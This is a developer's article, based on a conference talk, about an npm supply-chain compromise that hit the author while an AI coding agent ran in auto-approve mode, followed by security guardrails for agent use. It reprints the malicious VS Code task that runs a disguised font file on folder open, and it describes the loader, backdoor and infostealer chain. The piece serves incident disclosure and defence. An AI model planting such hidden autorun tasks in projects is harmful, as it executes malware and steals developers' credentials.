Using GitHub Copilot Safely: What Developers Need to Know About AI, Dependencies and Security
A compromised npm package, an AI agent in Auto mode, and what I'd change before my next autonomous build

On 20 August 2026 I was building an MVP with an AI coding agent running in Auto mode. At 10:32 that morning a notification told me Microsoft Defender for Endpoint had disconnected my laptop from the network. This article is the written version of the talk I gave at Dev Days Cape Town 2026 about what happened, what the malware turned out to be, and what it taught me about using GitHub Copilot and similar tools safely.
Slides: the full deck is on Speaker Deck: https://speakerdeck.com/abedmatini/using-github-copilot-safely-what-developers-need-to-know-about-ai-dependencies-and-securitypendencies-and-security
The goal is not to talk anyone out of AI-assisted development. I still use it every day. The goal is to be honest about the new responsibilities that come with giving an agent your terminal, your dependencies and your credentials.
The day my laptop was cut off
My workflow felt completely normal. I described what I wanted, the agent installed the packages it needed, ran the project, fixed the errors, and I shipped in minutes instead of hours. In Auto mode the agent approves its own file edits and terminal commands. I wasn't reviewing each step. That was the point.
Then the network went away. Security software had isolated the machine. I contacted IT, we wiped the laptop and reinstalled everything, I pulled my repo back down, ran npm, and the machine started "calling home" again: contacting an attacker-controlled server (a C2, command-and-control server) for instructions.
The investigation: the fix that didn't hold
With the agent's help I found obfuscated code inside vite.config.js. It appeared to contact the C2. We replaced the file with a clean version. On the next run the malware fired again.
This time it came from a fresh npm-cli.js process, not from Vite. The agent's reading at the time was that vite.config.js was never the real infection point and that something was hooking into npm or node invocations directly. We checked NODE_OPTIONS and the .npmrc files. The project's .npmrc already had ignore-scripts=true. It hadn't mattered.
The turning point was this assessment from the agent:
"The weight of evidence says this machine was compromised first, and the repo file was a casualty or symptom—not necessarily the origin."
It also said it could not be certain without endpoint forensics, and recommended stopping all npm, node and npx activity and escalating to IT security. Every test run was executing the malware again. Running the project had become part of the problem. I stopped the agent and moved from debugging to incident response.
What it was: a hijacked npm package
The source was a compromised npm package. JFrog Security Research published a full analysis of the campaign: two real packages, html-to-gutenberg@4.2.11 and fetch-page-assets@1.2.9, had malicious versions published on 25 May 2026. One of them was on my machine.
What makes this campaign worth studying is that it avoids the thing most npm security advice is about.
No install script needed
The malware did not use an npm lifecycle script. It hid inside a VS Code task:
{
"label": "eslint-check",
"type": "shell",
"command": "node ./public/fonts/fa-solid-400.woff2",
"hide": true,
"presentation": { "reveal": "never", "echo": false, "close": true },
"runOptions": { "runOn": "folderOpen" }
}
Three pieces of camouflage:
A harmless name.
eslint-checklooks like a normal lint task.A fake font.
fa-solid-400.woff2is JavaScript. Node runs it. The file begins with 752 spaces so it looks empty in an editor without word wrap.Auto-start.
runOn: "folderOpen"runs it as soon as the folder is opened as a trusted workspace in VS Code or a fork like Cursor, andhide: truekeeps it out of the terminal.
Settings like ignore-scripts=true protect against npm install running code. This attack skipped that path entirely.
Directions, not the destination
The package only carried a small loader. The loader read a public blockchain transaction (via TronGrid, Aptos and BSC RPC endpoints) to find its next stage, decoded it, and executed it. Legitimate public infrastructure became a dead drop. The attacker could change the payload at any time without publishing a new npm version, which means scanning the package at one moment in time cannot tell you what it will do later.
From there the chain installed a socket.io backdoor with shell execution, file upload and arbitrary JavaScript evaluation, then a Python infostealer that collects browser sessions, Git and SSH credentials, GitHub CLI config, cloud environment variables, password-manager extensions, crypto wallets, OS credential stores and editor data.
Two details from the JFrog analysis explain things I had seen on my machine:
The backdoor's string table includes injection targets for npm CLI paths, VS Code, Cursor, GitHub Desktop and Discord, to maintain execution through trusted developer tools. That matches the malware firing from
npm-cli.jsafter the config file was cleaned.The bootstrapper checks for cloud, CI and sandbox environments (Codespaces, devcontainers, GitHub runners, AWS, Azure, GCP, Vercel) and stands down when it finds them. Had I been working inside a devcontainer, this specific malware would have refused to run.
What is confirmed and what is not
I want to be precise, because this audience deserves it.
| Confirmed | Published mechanism (JFrog) | Under forensics |
|---|---|---|
| The hijacked package version was on my machine | Folder-open task → fake font → blockchain dead drop → backdoor → credential stealer | How the folder-open trigger fired on my machine |
| The malware re-ran from the npm process | What my repo carried back after the wipe | |
| C2 contact returned after the rebuild |
The folder-open task only fires when the package's own directory is opened as a trusted workspace, not when it sits in node_modules of a project you open. So how it fired on my machine is a genuine open question. The drive is with forensics. I'd rather write an honest "unknown" than a tidy story, and I'll publish an update when I have one.
Auto mode wasn't the malware. It was the amplifier.
This is the central claim of the talk, and it needs to be stated carefully.
The malicious code came from a compromised npm package, not from the AI agent. But every time the agent ran the project, the malware ran again, with my permissions. Three properties of autonomous workflows made this worse:
Speed. Many commands ran in minutes, with few pauses to question any of them.
Permissions. The agent ran as me: my files, my tokens, my network.
Visibility. Commands ran in a terminal I wasn't reading line by line.
A developer laptop is where identities converge. Browser sessions, Git and SSH keys, cloud credentials, password vaults, editor data. Each one opens doors to other systems: GitHub, cloud accounts, production. The malware didn't need to break into any of those. It only needed to be on the machine where they all lived.
Mapped to OWASP
The incident maps onto five entries in the OWASP GenAI Security Project lists:
| Risk | Name | In my incident |
|---|---|---|
| LLM03 | Supply Chain | A compromised npm package entered my project |
| LLM06 | Excessive Agency | The agent could run commands without asking me |
| ASI03 | Identity & Privilege Abuse | The agent ran with all of my credentials |
| ASI04 | Agentic Supply Chain | Packages and tools the agent relies on can be poisoned |
| ASI05 | Unexpected Code Execution | Running the project re-executed the malware |
(LLM = OWASP Top 10 for LLM Applications 2025; ASI = OWASP Top 10 for Agentic Applications 2026.)
From my story to yours: GitHub Copilot
My agent was Claude in VS Code. Copilot's Agent mode in VS Code can do the same things: edit files across the project, run terminal commands, install packages, start servers, and reach external systems through MCP. The lesson isn't about one vendor. It's about how much authority you hand over.
VS Code's built-in chat modes give Copilot different powers:
Ask answers questions about your code. It doesn't change files.
Plan researches the task and writes a plan for you to review. It doesn't change files.
Agent edits files, runs terminal commands and uses tools until the task is done.
Agent mode with auto-approved commands is the closest equivalent to the Auto mode in this story. Before choosing a mode, ask one question: what can it read, run, change and contact?
Practical guardrails
Review AI-generated code and commands before they run
Treat AI output like an untrusted pull request from a very fast contributor. Fluency is not evidence of safety.
For generated code: read the complete diff including configuration files, verify authentication, authorization and input boundaries, question every new dependency and lockfile change, and test the failure paths, not just the happy one.
For generated commands: look up unfamiliar flags, pipes and downloaded scripts; pause on destructive, admin-level or recursive operations; check whether secrets or source leave the machine; prefer small commands that are easy to undo. Once a command has run, a good explanation can't undo it.
Understand what MCP gives the agent
MCP (Model Context Protocol) lets Copilot use outside tools, which means it can act, not just read. An MCP server can expose read, write, delete, deploy or messaging capabilities depending on its tools and credentials. The protocol is not a trust guarantee.
Scope: expose only the tools the current task needs.
Identity: give the server its own short-lived, narrowly scoped credentials.
Writes: require confirmation for changes and publishing.
Evidence: log tool calls somewhere outside the agent's workspace.
Secrets, tokens and credentials
If the agent can read it, assume an attacker can too. The same ambient credentials that make the agent productive are what the infostealer harvested: .env files and shell environment, cached Git and cloud CLI tokens, browser sessions and vault extensions, CI secrets.
Keep production secrets out of routine workspaces. Prefer short-lived credentials and separate identities. After an incident, rotate everything from a clean device, never from the one you suspect.
Dependencies
Pin package versions and review every lockfile change, especially ones the agent made.
Check where a package comes from and who maintains it before accepting it.
Keep
ignore-scripts=true, but understand what it doesn't cover.Inspect
.vscode/tasks.jsonand other workspace automation in anything you clone or install. JFrog's remediation advice includes searching workstations for tasks usingrunOn: "folderOpen".
Repository and developer-tool configuration
Automation files are executable code and deserve the same review as application code: .github/workflows/, .vscode/tasks.json, package scripts, Git hooks, generators, dev containers, Dockerfiles and build configuration.
For CI/CD specifically: pin third-party actions to exact commits, give GITHUB_TOKEN the minimum permissions, keep secrets away from untrusted pull requests, and require approval before deploying. CI identities often have broader access than the code being tested.
Least privilege is not enough. Use least agency.
OWASP's "least agency" principle means limiting what an agent may decide and do on its own, not just what it can access. Preserve autonomy for reversible actions and insert friction at trust boundaries: new dependencies, workspace tasks, external downloads, secret access, publishing.
The most concrete version of this is architectural. Run the agent in a disposable VM, container or cloud development environment with limited internet access, no personal browser profile, no wallets and no standing production credentials. You approve what crosses the boundary. If the workspace gets infected, throw it away. Your secrets were never in it. And as noted above, this particular malware would have declined to run there at all.
A checklist you can adopt
Before you start
Choose the least powerful mode that does the job.
Remove long-lived credentials from the workspace.
Check which tools and MCP servers are enabled.
While it works
Read commands before they run.
Review new packages and scripts.
Approve only what you understand.
Before you merge
Read the complete diff.
Check configuration and CI permissions.
Run tests, scans and secret checks.
Wiped is not recovered
If you do end up responding to an incident, sequence matters: isolate first, preserve evidence, assume credentials are exposed, revoke and rotate from a clean device, then rebuild and monitor.
A laptop wipe is one recovery step, not proof of containment. Stolen tokens and sessions keep working until you revoke them, and, as I learned, your own repository can carry the infection back onto the clean machine.
Takeaways
Autonomy is not trust. The more an agent can do alone, the tighter its boundaries should be.
Your laptop is a high-value target. Protect it like a production system.
Pause where it matters. Ask before installs, secrets, internet access and publishing.
Keep the speed. Redesign the trust. Give agents a smaller room in which to be fast.
References
JFrog Security Research: Hijacked npm Packages Use Novel VSCode Autorun and Blockchain Dead Drops to Deploy a Credential/Crypto Stealer
OWASP GenAI Security Project: LLM Top 10, Agentic Top 10, security guides
If you have your own AI-security story or guardrails you've adopted, I'd like to hear them. Find me on LinkedIn: https://www.linkedin.com/in/matini




